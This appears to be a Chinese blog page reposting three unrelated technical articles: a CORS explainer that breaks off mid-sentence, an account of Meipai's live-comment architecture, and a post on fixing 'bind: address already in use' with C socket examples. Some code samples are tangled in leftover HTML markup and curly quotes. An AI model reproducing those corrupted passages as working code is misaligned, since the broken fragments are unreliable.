[转]跨域资源共享 CORS 详解

原文链接:http://www.ruanyifeng.com/blog/2016/04/cors.html

一、简介

CORS需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE浏览器不能低于IE10。

整个CORS通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS通信与同源的AJAX通信没有差别,代码完全一样。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。

因此,实现CORS通信的关键是服务器。只要服务器实现了CORS接口,就可以跨源通信。

二、两种请求

浏览器将CORS请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。

只要同时满足以下两大条件,就属于简单请求。

(1) 请求方法是以下三种方法之一:

  • HEAD
  • GET
  • POST

(2)HTTP的头信息不超出以下几种字段:

  • Accept
  • Accept-Language
  • Content-Language
  • Last-Event-ID
  • Content-Type:只限于三个值application/x-www-form-urlencodedmultipart/form-datatext/plain

凡是不同时满足上面两个条件,就属于非简单请求。

浏览器对这两种请求的处理,是不一样的。

三、简单请求

3.1 基本流程

对于简单请求,浏览器直接发出CORS请求。具体来说,就是在头信息之中,增加一个Origin字段。

下面是一个例子,浏览器发现这次跨源AJAX请求是简单请求,就自动在头信息之中,添加一个Origin字段。


GET /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

上面的头信息中,Origin字段用来说明,本次请求来自哪个源(协议 + 域名 + 端口)。服务器根据这个值,决定是否同意这次请求。

如果Origin指定的源,不在许可范围内,服务器会返回一个正常的HTTP回应。浏览器发现,这个回应的头信息没有包含Access-Control-Allow-Origin字段(详见下文),就知道出错了,从而抛出一个错误,被XMLHttpRequestonerror回调函数捕获。注意,这种错误无法通过状态码识别,因为HTTP回应的状态码有可能是200。

如果Origin指定的域名在许可范围内,服务器返回的响应,会多出几个头信息字段。


Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: FooBar
Content-Type: text/html; charset=utf-8

上面的头信息之中,有三个与CORS请求相关的字段,都以Access-Control-开头。

(1)Access-Control-Allow-Origin

该字段是必须的。它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。

(2)Access-Control-Allow-Credentials

该字段可选。它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包括在CORS请求之中。设为true,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。这个值也只能设为true,如果服务器不要浏览器发送Cookie,删除该字段即可。

(3)Access-Control-Expose-Headers

该字段可选。CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:Cache-ControlContent-LanguageContent-TypeExpiresLast-ModifiedPragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。上面的例子指定,getResponseHeader('FooBar')可以返回FooBar字段的值。

3.2 withCredentials 属性

上面说到,CORS请求默认不发送Cookie和HTTP认证信息。如果要把Cookie发到服务器,一方面要服务器同意,指定Access-Control-Allow-Credentials字段。


Access-Control-Allow-Credentials: true

另一方面,开发者必须在AJAX请求中打开withCredentials属性。


var xhr = new XMLHttpRequest();
xhr.withCredentials = true;

否则,即使服务器同意发送Cookie,浏览器也不会发送。或者,服务器要求设置Cookie,浏览器也不会处理。

但是,如果省略withCredentials设置,有的浏览器还是会一起发送Cookie。这时,可以显式关闭withCredentials


xhr.withCredentials = false;

需要注意的是,如果要发送Cookie,Access-Control-Allow-Origin就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie依然遵循同源政策,只有用服务器域名设置的Cookie才会上传,其他域名的Cookie并不会上传,且(跨源)原网页代码中的document.cookie也无法读取服务器域名下的Cookie。

四、非简单请求

4.1 预检请求

非简单请求是那种对服务器有特殊要求的请求,比如请求方法是PUTDELETE,或者Content-Type字段的类型是application/json

非简单请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为”预检”请求(preflight)。

浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,以及可以使用哪些HTTP动词和头信息字段。只有得到肯定答复,浏览器才会发出正式的XMLHttpRequest请求,否则就报错。

下面是一段浏览器的JavaScript脚本。


var url = 'http://api.alice.com/cors';
var xhr = new XMLHttpRequest();
xhr.open('PUT', url, true);
xhr.setRequestHeader('X-Custom-Header', 'value');
xhr.send();

上面代码中,HTTP请求的方法是PUT,并且发送一个自定义头信息X-Custom-Header

浏览器发现,这是一个非简单请求,就自动发出一个”预检”请求,要求服务器确认可以这样请求。下面是这个”预检”请求的HTTP头信息。


OPTIONS /cors HTTP/1.1
Origin: http://api.bob.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

“预检”请求用的请求方法是OPTIONS,表示这个请求是用来询问的。头信息里面,关键字段是Origin,表示请求来自哪个源。

除了Origin字段,”预检”请求的头信息包括两个特殊字段。

(1)Access-Control-Request-Method

该字段是必须的,用来列出浏览器的CORS请求会用到哪些HTTP方法,上例是PUT

(2)Access-Control-Request-Headers

该字段是一个逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段,上例是X-Custom-Header

4.2 预检请求的回应

服务器收到”预检”请求以后,检查了OriginAccess-Control-Request-MethodAccess-Control-Request-Headers字段以后,确认允许跨源请求,就可以做出回应。


HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

上面的HTTP回应中,关键的是Access-Control-Allow-Origin字段,表示http://api.bob.com可以请求数据。该字段也可以设为星号,表示同意任意跨源请求。


Access-Control-Allow-Origin: *

如果浏览器否定了”预检”请求,会返回一个正常的HTTP回应,但是没有任何CORS相关的头信息字段。这时,浏览器就会认定,服务器不同意预检请求,因此触发一个错误,被XMLHttpRequest对象的onerror回调函数捕获。控制台会打印出如下的报错信息。


XMLHttpRequest cannot load http://api.alice.com.
Origin http://api.bob.com is not allowed by Access-Control-Allow-Origin.

服务器回应的其他CORS相关字段如下。


Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1728000

(1)Access-Control-Allow-Methods

该字段必需,它的值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。注意,返回的是所有支持的方法,而不单是浏览器请求的那个方法。这是为了避免多次”预检”请求。

(2)Access-Control-Allow-Headers

如果浏览器请求包括Access-Control-Request-Headers字段,则Access-Control-Allow-Headers字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在”预检”中请求的字段。

(3)Access-Control-Allow-Credentials

该字段与简单请求时的含义相同。

(4)Access-Control-Max-Age

该字段可选,用来指定本次预检请求的有效期,单位为秒。上面结果中,有效期是20天(1728000秒),即允许缓存该条回应1728000秒(即20天),在此期间,不用发出另一条预检请求。

4.3 浏览器的正常请求和回应

一旦服务器通过了”预检”请求,以后每次浏览器正常的CORS请求,就都跟简单请求一样,会有一个Origin头信息字段。服务器的回应,也都会有一个Access-Control-Allow-Origin头信息字段。

下面是”预检”请求之后,浏览器的正常CORS请求。


PUT /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
X-Custom-Header: value
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

上面头信息的Origin字段是浏览器自动添加的。

下面是服务器正常的回应。


Access-Control-Allow-Origin: http://api.bob.com
Content-Type: text/html; charset=utf-8

上面头信息中,Access-Control-Allow-Origin字段是每次回应都必定包含的。

五、与JSONP的比较

CORS与JSONP的使用目的相同,但是比JSONP更强大。

JSONP只支持GET请求,CORS支持所有类型的HTTP请求。JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据

[转]聊聊高并发长连接架构:百万在线的美拍直播弹幕系统如何实现

https://juejin.im/entry/5a0be18a6fb9a0450671280b

导读:直播弹幕是直播系统的核心功能之一。如何迅速作出一个有很好扩展性的弹幕系统?如何应对业务迅速发展?相信很多工程师/架构师都有自己的想法。本文作者是美拍的架构师,经历了直播弹幕从无到有,从小到大的过程。本文是作者对构建弹幕系统的经验总结。

 王静波,毕业于西安交通大学,曾任职于网易和新浪微博,微博工作期间负责开放平台业务和技术体系建设。2015 年 9 月加入美图,就职于架构平台部,目前负责部分核心业务和基础设施的研发工作,包括弹幕服务、Feed 服务、任务调度和质量监控体系等。十余年的后端研发经历,拥有丰富的后端研发经验,对于构建高可用、高并发的系统有较多实践经验。欢迎通过 wjb@meitu.com 跟他交流。

直播弹幕指直播间的用户,礼物,评论,点赞等消息,是直播间交互的重要手段。美拍直播弹幕系统从 2015 年 11 月到现在,经过了三个阶段的演进,目前能支撑百万用户同时在线。比较好地诠释了根据项目的发展阶段,进行平衡演进的过程。这三个阶段分别是快速上线,高可用保障体系建设,长连接演进。

一、快速上线

消息模型

美拍直播弹幕系统在设计初期的核心要求是:快速上线,并能支撑百万用户同时在线。基于这两点,我们策略是前中期 HTTP 轮询方案,中后期替换为长连接方案。因此在业务团队进行 HTTP 方案研发的同时,基础研发团队也紧锣密鼓地开发长连接系统。

直播间消息,相对于 IM 的场景,有其几个特点

  • 消息要求及时,过时的消息对于用户来说不重要;
  • 松散的群聊,用户随时进群,随时退群;
  • 用户进群后,离线期间(接听电话)的消息不需要重发;

对于用户来说,在直播间有三个典型的操作:

  • 进入直播间,拉取正在观看直播的用户列表
  • 接收直播间持续接收弹幕消息
  • 自己发消息

我们把礼物,评论,用户的数据都当做消息来看待。经过考虑选择了 Redis 的 sortedset 存储消息,消息模型如下:

  • 用户发消息,通过 Zadd,其中 score 消息的相对时间;
  • 接收直播间的消息,通过 ZrangeByScore 操作,两秒一次轮询;
  • 进入直播间,获取用户的列表,通过 Zrange 操作来完成;

 

因此总的流程是

  • 写消息流程是:  前端机 -> Kafka -> 处理机 -> Redis
  • 读消息流程是:  前端 -> Redis

不过这里有一个隐藏的并发问题:用户可能丢消息。

如上图所示,某个用户从第6号评论开始拉取,同时有两个用户在发表评论,分别是10,11号评论。如果11号评论先写入,用户刚好把6,7,8,9,11号拉走,用户下次再拉取消息,就从12号开始拉取,结果是:用户没有看到10号消息。

为了解决这个问题,我们加上了两个机制:

  • 在前端机,同一个直播间的同一种消息类型,写入 Kafka 的同一个 partition
  • 在处理机,同一个直播间的同一种消息类型,通过 synchronized 保证写入 Redis 的串行。

消息模型及并发问题解决后,开发就比较顺畅,系统很快就上线,达到预先预定目标。

上线后暴露问题的解决

上线后,随着量的逐渐增加,系统陆续暴露出三个比较严重的问题,我们一一进行解决

问题一:消息串行写入 Redis,如果某个直播间消息量很大,那么消息会堆积在 Kafka 中,消息延迟较大。

解决办法:

  • 消息写入流程:前端机-> Kafka -> 处理机 -> Redis
  • 前端机:如果延迟小,则只写入一个 Kafka 的partion;如果延迟大,则这个直播的这种消息类型写入 Kafka 的多个partion。
  • 处理机:如果延迟小,加锁串行写入 Redis;如果延迟大,则取消锁。因此有四种组合,四个档位,分别是
    • 一个partion, 加锁串行写入 Redis, 最大并发度:1
    • 多个partition,加锁串行写入 Redis, 最大并发度:Kafka partion的个数
    • 一个partion, 不加锁并行写入 Redis, 最大并发度: 处理机的线程池个数
    • 多个partion, 不加锁并行写入 Redis,最大并发度: Kafka partition个数处理机线程池的个数
  • 延迟程度判断:前端机写入消息时,打上消息的统一时间戳,处理机拿到后,延迟时间 = 现在时间 – 时间戳;
  • 档位选择:自动选择档位,粒度:某个直播间的某个消息类型

问题二:用户轮询最新消息,需要进行 Redis 的 ZrangByScore 操作,redis slave 的性能瓶颈较大

解决办法:

  • 本地缓存,前端机每隔1秒左右取拉取一次直播间的消息,用户到前端机轮询数据时,从本地缓存读取数据;
  • 消息的返回条数根据直播间的大小自动调整,小直播间返回允许时间跨度大一些的消息,大直播间则对时间跨度以及消息条数做更严格的限制。

 

解释:这里本地缓存与平常使用的本地缓存问题,有一个最大区别:成本问题。

如果所有直播间的消息都进行缓存,假设同时有1000个直播间,每个直播间5种消息类型,本地缓存每隔1秒拉取一次数据,40台前端机,那么对 Redis 的访问QPS是   1000 * 5 * 40 = 20万。成本太高,因此我们只有大直播间才自动开启本地缓存,小直播间不开启。

问题三:弹幕数据也支持回放,直播结束后,这些数据存放于 Redis 中,在回放时,会与直播的数据竞争 Redis 的 cpu 资源。

解决办法:

  • 直播结束后,数据备份到 mysql;
  • 增加一组回放的 Redis;
  • 前端机增加回放的 local cache;

 

解释:回放时,读取数据顺序是: local cache -> Redis -> mysql。localcache 与回放 Redis 都可以只存某个直播某种消息类型的部分数据,有效控制容量;local cache与回放 Redis 使用SortedSet数据结构,这样整个系统的数据结构都保持一致。

二、高可用保障

同城双机房部署

分为主机房和从机房,写入都在主机房,读取则由两个机房分担。从而有效保证单机房故障时,能快速恢复。

丰富的降级手段

全链路的业务监控

高可用保障建设完成后,迎来了 TFBOYS 在美拍的四场直播,这四场直播峰值同时在线人数达到近百万,共 2860万人次观看,2980万评论,26.23亿次点赞,直播期间,系统稳定运行,成功抗住压力。

使用长连接替换短连接轮询方案

长连接整体架构图如下

详细说明:

  • 客户端在使用长连接前,会调用路由服务,获取连接层IP,路由层特性:a. 可以按照百分比灰度;b. 可以对 uid,deviceId,版本进行黑白名单设置。黑名单:不允许使用长连接;白名单:即使长连接关闭或者不在灰度范围内,也允许使用长连接。这两个特性保证了我们长短连接切换的顺利进行;
  • 客户端的特性:a. 同时支持长连接和短连接,可根据路由服务的配置来决定;b. 自动降级,如果长连接同时三次连接不上,自动降级为短连接;c. 自动上报长连接性能数据;
  • 连接层只负责与客户端保持长连接,没有任何推送的业务逻辑。从而大大减少重启的次数,从而保持用户连接的稳定;
  • 推送层存储用户与直播间的订阅关系,负责具体推送。整个连接层与推送层与直播间业务无关,不需要感知到业务的变化;
  • 长连接业务模块用于用户进入直播间的验证工作;
  • 服务端之间的通讯使用基础研发团队研发的tardis框架来进行服务的调用,该框架基于 gRPC,使用 etcd 做服务发现;

长连接消息模型

我们采用了订阅推送模型,下图为基本的介绍

举例说明:用户1订阅了A直播,A直播有新的消息

  • 推送层查询订阅关系后,知道有用户1订阅了A直播,同时知道用户1在连接层1这个节点上,那么就会告知连接层有新的消息
  • 连接层1收到告知消息后,会等待一小段时间(毫秒级),再拉取一次用户1的消息,然后推送给用户1.

如果是大直播间(订阅用户多),那么推送层与连接层的告知/拉取模型,就会自动降级为广播模型。如下图所示

我们经历客户端三个版本的迭代,实现了两端(Android 与 iOS)长连接对短连接的替换,因为有灰度和黑白名单的支持,替换非常平稳,用户无感知。

总结与展望

回顾了系统的发展过程,达到了原定的前中期使用轮询,中后期使用长连接的预定目标,实践了原定的平衡演进的原则。从发展来看,未来计划要做的事情有

  • 针对机房在北京,南方某些地区会存在连接时间长的情况。我们如何让长连接更靠近用户。
  • 消息模型的进一步演进。

socket_bind:address already in use 解决办法

先说解决办法:


</div>
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {

echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if(socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1) === false) {

echo "socket_set_option failed: reason: " . socket_strerror(socket_last_error()) . "\n";

}

下面摘抄的原因:

今天在linux下,编写了一个简单的回射客户/服务器(就是客户机从控制台标准输入并发送数据,服务端接受数据,但是不对数据进行处理,然后将数据返回,交由客户机标准输出),然后遇到了一些问题,郁闷了好长时间,然后就想着将这些东西写下来,跟大家分享分享

1,  客户端和服务端到底那个是先退出的??这个有什么区别吗??(死循环)

2,  为什么有的时候bind:address already in use一直存在???不是说好的2-4分钟吗,,(ctrl + z 和 ctrl + c)

3,  当bind:address already in use不是一直存在时(存在2-4分钟时),如何避免???(SO_REUSEADDR可以让当前的端口立即重用)

为了能让上面的问题更形象一点,好理解一点(下面我添加上了源代码)

服务端:

</b><a class=”ViewSource” title=”view plain” href=”http://blog.csdn.net/msdnwolaile/article/details/50743254#” target=”_blank”>view plain</a><span data-mod=”popu_168″><span data-mod=”popu_168″> <a class=”CopyToClipboard” title=”copy” href=”http://blog.csdn.net/msdnwolaile/article/details/50743254#” target=”_blank”>copy</a></span></span> <div><embed id=”ZeroClipboardMovie_1″ src=”http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf” type=”application/x-shockwave-flash” width=”18″ height=”18″ align=”middle” name=”ZeroClipboardMovie_1″></embed></div> </div> </div> <ol class=”dp-cpp” start=”1″> <li class=”alt”><span class=”preprocessor”>#include &lt;stdio.h&gt;                                                                                                                              </span></li> <li class=””><span class=”preprocessor”>#include &lt;sys/types.h&gt;</span></li> <li class=”alt”><span class=”preprocessor”>#include &lt;sys/socket.h&gt;</span></li> <li class=””><span class=”preprocessor”>#include &lt;stdlib.h&gt;</span></li> <li class=”alt”><span class=”preprocessor”>#include &lt;string.h&gt;</span></li> <li class=””><span class=”preprocessor”>#include &lt;arpa/inet.h&gt;</span></li> <li class=”alt”><span class=”preprocessor”>#include &lt;netinet/in.h&gt;</span></li> <li class=””><span class=”preprocessor”>#include &lt;netinet/ip.h&gt; /* superset of previous */</span></li> <li class=””><span class=”comment”>//#define INADDR_ANY  0</span></li> <li class=””><span class=”preprocessor”>#define ERR_EXIT(m)                    \</span></li> <li class=”alt”><span class=”keyword”>do</span>{                            \</li> <li class=””>                perror(m);             \</li> <li class=”alt”>                exit(EXIT_FAILURE);    \</li> <li class=””>        }<span class=”keyword”>while</span>(0)</li> <li class=”alt”><span class=”datatypes”>int</span> main(){</li> <li class=”alt”><span class=”datatypes”>int</span> listenfd;      <span class=”comment”>//socket返回值,类似于文件描述符,也成为套接字</span></li> <li class=””><span class=”keyword”>if</span>((listenfd = socket(AF_INET,  SOCK_STREAM,  IPPROTO_TCP)) &lt; 0)</li> <li class=”alt”>                ERR_EXIT(<span class=”string”>”SOCKET”</span>);</li> <li class=””><span class=”keyword”>struct</span>  sockaddr_in servaddr;                                <span class=”comment”>//inin IPv4</span></li> <li class=”alt”>        memset(&amp;servaddr,  0 , <span class=”keyword”>sizeof</span>(servaddr));                 <span class=”comment”>//inint memory</span></li> <li class=””>        servaddr.sin_family = AF_INET;</li> <li class=”alt”>        servaddr.sin_port   = htons(5188);</li> <li class=””>        servaddr.sin_addr.s_addr = htonl(INADDR_ANY);</li> <li class=”alt”><span class=”comment”>//      servaddr.sin_addr.s_addr = inet_addr(192.0.0.1);</span></li> <li class=””><span class=”comment”>//      inet_aton(“127.0.0.1″, &amp;servaddr.sin_addr);</span></li> <li class=””><span class=”keyword”>if</span>((bind(listenfd,  (<span class=”keyword”>struct</span> sockaddr*)&amp;servaddr,  <span class=”keyword”>sizeof</span>(servaddr))) &lt; 0 )     <span class=”comment”>//bind  serve and IPv4</span></li> <li class=”alt”>                ERR_EXIT(<span class=”string”>”bind”</span>);</li> <li class=””><span class=”keyword”>if</span> ((listen(listenfd, SOMAXCONN)) &lt; 0)                                 <span class=”comment”>//change  state (from initiative to passivity)</span></li> <li class=”alt”>                ERR_EXIT(<span class=”string”>”LISTEN”</span>);</li> <li class=”alt”><span class=”datatypes”>int</span> conn;                                                              <span class=”comment”>//accept’s  backvalue,is a connect socket</span></li> <li class=””><span class=”keyword”>struct</span> sockaddr_in peeraddr;</li> <li class=”alt”>        socklen_t peerlen = <span class=”keyword”>sizeof</span>(peeraddr);</li> <li class=””><span class=”keyword”>if</span>((conn = (accept(listenfd, (<span class=”keyword”>struct</span> sockaddr*)(&amp;peeraddr), &amp;peerlen))) &lt; 0)</li> <li class=”alt”>                ERR_EXIT(<span class=”string”>”accept”</span>);</li> <li class=””>        printf(<span class=”string”>”ip is %s,  port is %d\n”</span>, inet_ntoa(peeraddr.sin_addr), ntohs(peeraddr.sin_port));</li> <li class=”alt”><span class=”comment”>//      printf(“ip=%d\n”, ntohs(peeraddr.sin_port));</span></li> <li class=””><span class=”datatypes”>char</span> recvbuf[1024];</li> <li class=”alt”><span class=”keyword”>while</span>(1){</li> <li class=””>                memset(recvbuf, 0 , <span class=”keyword”>sizeof</span>(recvbuf));  <span class=”comment”>//inint  string</span></li> <li class=”alt”><span class=”datatypes”>int</span> ret = read(conn , recvbuf, <span class=”keyword”>sizeof</span>(recvbuf)); <span class=”comment”>//receive a string </span></li> <li class=””>                 printf(<span class=”string”>”服务端:%s”</span>, recvbuf);</li> <li class=”alt”><span class=”datatypes”>int</span> r = write(conn,  recvbuf, ret);</li> <li class=””>        }</li> <li class=”alt”>        close(conn);</li> <li class=””>        close(listenfd);</li> <li class=”alt”>}</li> </ol> </div> 客户端: <div class=”dp-highlighter bg_cpp”> <div class=”bar”> <div class=”tools”><b>

view plain copy

  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <arpa/inet.h>
  7. #include <netinet/in.h>
  8. #define ERR_EXIT(m)                    \
  9. do{                            \
  10.                 perror(m);             \
  11.                 exit(EXIT_FAILURE);    \
  12.         }while(0)
  13. int main(){
  14. int sock;      //socket返回值,类似于文件描述符,也成为套接字
  15. if((sock = socket(AF_INET,  SOCK_STREAM,  IPPROTO_TCP)) < 0)
  16.                 ERR_EXIT(“SOCKET”);
  17. struct  sockaddr_in servaddr;                                //inin IPv4
  18.         memset(&servaddr,  0 , sizeof(servaddr));                 //inint memory
  19.         servaddr.sin_family = AF_INET;
  20.         servaddr.sin_port  = htons(5188);
  21.         servaddr.sin_addr.s_addr  = inet_addr(“127.0.0.1”);
  22. //     inet_aton(“127.0.0.1”, &servaddr.sin_addr);
  23. if (connect(sock,  (struct sockaddr*)&servaddr, sizeof(servaddr)) < 0)
  24.                 ERR_EXIT(“CONNECT”);
  25. char sendrec[1024] = {0};
  26. char recerec[1024] = {0};
  27. while( fgets(sendrec  , sizeof(sendrec),  stdin) != NULL){
  28.                 write(sock , sendrec, strlen(sendrec));
  29.                 read(sock,   recerec, sizeof(recerec));
  30.                 printf(“客户端:  %s\n”, recerec);
  31.                 memset(sendrec , 0,  sizeof(sendrec));
  32.                 memset(recerec,  0,  sizeof(sendrec));
  33.         }
  34.         close(sock);
  35. }

1, 关于客户端还是服务端退出的先后顺序??

至于是服务器还是客户端是谁先启动的,这个应该比较确定,服务器首先启动,bind处于祯听状态(祯听连接的客户端的个数),accept接受来自客户端的数据请求,然后对数据进行处理,并把数据返回给客户端,倘使是客户端先启动的话,那么它发送的数据也就不能完全的保证服务端是不是打开,影响数据传输的准确性和安全性

UNIX网络编程(基本TCP套接字编程78页)给出了一个解释说的是:当我们关闭客户端后,客户端会发送一个数据(EOF,也就是-1),然后服务端通过read()函数收到这个数据,,知道了客户端已经退出,所以服务端也就推出了程序,并且调用相应的close操作。(个人理解)

我们来验证一下:

从上面可以看出来,完美的把数据发送到了服务端并把数据发送回来啦,

但是:如果我们先结束服务端呢??

从上图还可以看出:如果我们先结束了服务器(ctrl+c),那么客户端是不会立即退出的,可是在发一次数据便会自动退出,这是因为在正常通信中,服务器关闭了连接,那么客户端会正常接收到EOF,,如果对这个连接用epoll或者select进行监听,可以马上得知服务器关闭了连接。否则就定时向服务器发心跳探测,不然是不太可能得知服务器目前的状态的。之所以你现在不会立刻发现问题是因为服务器退出后,客户端需要靠下一次send才会触发问题,因为这时候连接已关闭,而客户端继续写,会产生SIGPIPE异常,而这个异常的默认动作是进程终止,所以你的客户端退出了。

如果:是我们的客户端先结束的呢??

同样的,从上图可以看出,当我们的客户端先结束后(ctrl + c),我们的服务器直接进入死循环,但是是为什么呢??

经过不断的查错:才发现是我们没有对服务端的while里面进行退出程序的处理,里面刚好有一个,printf打印的语句,所以会出现安一直循环的情况,我们把里面的语句改一下:

</b><a class=”ViewSource” title=”view plain” href=”http://blog.csdn.net/msdnwolaile/article/details/50743254#” target=”_blank”>view plain</a><span data-mod=”popu_168″><span data-mod=”popu_168″> <a class=”CopyToClipboard” title=”copy” href=”http://blog.csdn.net/msdnwolaile/article/details/50743254#” target=”_blank”>copy</a></span></span> <div><embed id=”ZeroClipboardMovie_3″ src=”http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf” type=”application/x-shockwave-flash” width=”18″ height=”18″ align=”middle” name=”ZeroClipboardMovie_3″></embed></div> </div> </div> <ol class=”dp-cpp” start=”1″> <li class=”alt”><span class=”keyword”>while</span>(1){</li> <li class=””>                 memset(recvbuf, 0 , <span class=”keyword”>sizeof</span>(recvbuf));</li> <li class=”alt”><span class=”datatypes”>int</span> ri = read(conn , recvbuf, <span class=”keyword”>sizeof</span>(recvbuf)); <span class=”comment”>//receive a stri</span></li> <li class=””><span class=”comment”>//              int ret = (sizeof(recvbuf));</span></li> <li class=”alt”><span class=”keyword”>if</span> ( ri == -1){</li> <li class=””>                              printf(<span class=”string”>”one client closed\n”</span>);</li> <li class=”alt”><span class=”keyword”>break</span>;</li> <li class=””>                        }</li> <li class=”alt”>                 printf(<span class=”string”>”服务端:%s,”</span>, recvbuf);</li> <li class=””><span class=”datatypes”>int</span> r = write(conn,  recvbuf, ri);</li> <li class=”alt”>                }</li> <li class=””>        }</li> </ol> </div> 嗯嗯,这回应该好啦(因为客户端结束后传回的是EOF,read是服务端接收客户端的消息,所以我们就让read等于-1)但是,但是,但是,不幸的是,这个语句还是没有起作用,就是说,当客户端结束后,服务端还是在死循环里面??这又是为什m,啊啊啊啊啊???(博主快爆炸了都!!!) 后来经过经过仔细的查资料,才发现这个:当客户端结束后,服务端read()函数返回的应该是0,而不是-1,, 所以我的程序有改了一改: <div class=”dp-highlighter bg_cpp”> <div class=”bar”> <div class=”tools”><b>

view plain copy

  1. while(1){
  2.                  memset(recvbuf, 0 , sizeof(recvbuf));
  3. int ri = read(conn , recvbuf, sizeof(recvbuf)); //receive a stri
  4. //              int ret = (sizeof(recvbuf));
  5. if ( ri == 0){
  6. break;
  7.                         }
  8.                  printf(“服务端:%s,”, recvbuf);
  9. int r = write(conn,  recvbuf, ri);
  10.                 }
  11.         }

嗯嗯,这样就好啦,可以对其进行处理了!!!!

当然,对于多个客户端的情况就是这样了:

  1. while(1){
  2. if((conn = (accept(listenfd, (struct sockaddr*)(&peeraddr), &peerlen))) < 0)
  3.                         ERR_EXIT(“accept”);
  4.                 printf(“ip is %s,  port is %d\n”, inet_ntoa(peeraddr.sin_addr), ntohs(peeraddr.sin_port));
  5. //              printf(“ip=%d\n”, ntohs(peeraddr.sin_port));
  6.                 pid = fork();
  7. if(pid == -1)
  8.                         ERR_EXIT(“fork”);
  9. else if(pid == 0){
  10.                         close(listenfd);
  11.                         do_service(conn);
  12.                         exit(1);
  13.                 }
  14. else
  15.                         close(conn);
  16.         }

我们上面程序里的do_service(conn)函数,其实就是之前提到的while,对数据进行具体的收发这里,为了完成多个客户端的访问情况,我们设置了进程(fork)

所以可以完全看到合理的结果,最左边的那个客户端退出了之后,服务端并没有退出,同样的,最右边的客户端还是可以收发数据的!!!

当然,一个客户端一个服务器的情况,同样的,对于多个客户端也是如此的,我们的某一个客户端退出并不会影响服务器的运行结果的,哈哈,对,就是这样!!!,举一个例子:我们好多人在同时访问百度服务器,但是,我们不能让某一个人退出这个页面,而导致其他的人的页面也退出啊!!!

2,  bind:address already in use一直存在,它就关不掉

首先,我们先声明:bind:address already in use的存在是合理的,在服务端终止之后,会有一个TIME_WAIT的状态,再次打开会出现:bind的

但是,服务器端可以尽可能的使用REUSEADDR(在绑定之前尽可能调用setsockopt来设置REUSEADDR)套接字选项,这样就可以使得不必等待TIME_WAIT状态就可以重启服务器了,也就是说:TIME_WAIT状态还是存在的,但是不影响我们重新启动服务器

 

下面讨论的情况还是一样:一个客户端,一个服务器,根据上面说的情况,还是服务端先退出,然后是客户端,但是为什么:bind:address  already  in  use 还是一直存在(即使我们等了好长时间),其实这个很简单,那只是因为我们在退出服务端或者客户端的时候,我们是用了 CTRL + Z,这个退出条件,跟CTRL+C搞混了!!!

CTRL+C:发送SIGINT信号给前台进程组中的所有进程。常用于终止正在运行的程序,强制中断程序的执行

CTRL+Z:发送SIGTSTP信号给前台进程组中的所有进程,常用于挂起一个进程,是将任务中断,但是此任务并没有结束,它仍然在进程中他只是维持挂起的状态,用户可以使用fg/bg操作继续前台或后台的任务,fg命令重新启动前台被中断的任务,bg命令把被中断的任务放在后台执行

通过我们上面所说的:可以使用这个命令查看状态

2,当我们用:CTRL+C结束时:

可以看到右下角:出现了TIME_WAIT

当我们想重新运行这两个程序时:就会出现(bind:address already in use)的情况(我们在两分钟以内运行)

但是,当我们等上个2-4分钟后,然后在运行,就又没有这种情况了,很好解释,那只是因为在一定的时间内这个端口还被占用着,没有来的及释放,但是2-4分钟后,端口释放完毕,所以可以正常的运行这个程序了

当我们用:CTRL+Z结束时:

 

同样的:我们可以看到右下角:出现的是ESTABLISHED,但是不一样的是,无论我们等多久,只要我们一运行这个服务端程序,必定会出现bind:address already in use,并且这个不会自动消失,除非我们杀死这个进程,或者我们进到程序里面改一下端口号

ESTABLISHED的意思是建立连接。表示两台机器正在通信

